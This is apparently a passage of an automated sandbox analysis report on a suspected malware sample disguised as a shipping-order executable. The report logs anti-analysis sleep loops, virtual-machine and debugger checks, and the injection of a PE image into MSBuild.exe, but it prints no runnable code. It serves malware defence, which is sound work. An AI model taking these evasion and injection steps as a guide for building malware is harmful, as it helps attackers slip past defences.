Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -99125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -99015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -98893s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -197562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -197344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -197124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -98453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -196688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -98234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -196250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -98015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -97906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -97797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -97687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -97578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -99219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -99000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -98890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -98016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -97891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -97766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -97656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -97547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4588	Thread sleep count: 964 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4588	Thread sleep count: 8893 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -99655s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -99546s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -99218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -98999s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -98890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -98781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -98669s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -98546s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -98437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -98328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -98218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -98109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -97999s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -97890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -97781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -97671s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -97562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -97453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -97343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -97234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -97125s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -97015s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -96906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -96796s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -96687s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -96578s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -96468s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -96359s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -96250s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -96140s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -96031s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -95921s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -95812s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -95703s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -95593s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -95484s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -95375s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -95265s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -95156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -95046s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -94937s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -94828s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -94718s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5888	Thread sleep time: -94609s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 99781	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 99672	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 99562	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 99344	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 99234	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 99125	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 99015	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 98893	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 98781	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 98672	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 98562	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 98453	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 98344	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 98234	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 98125	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 98015	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 97906	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 97797	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 97687	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 97578	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 99219	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 99000	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 98890	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 98016	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 97891	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 97766	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 97656	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 97547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98999	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98669	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97999	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95921	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 94937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 94828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 94718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 94609	Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1872818138.0000000001367000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.4124323381.0000000005D30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 828008	Jump to behavior

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"

Jump to behavior

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Queries volume information: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

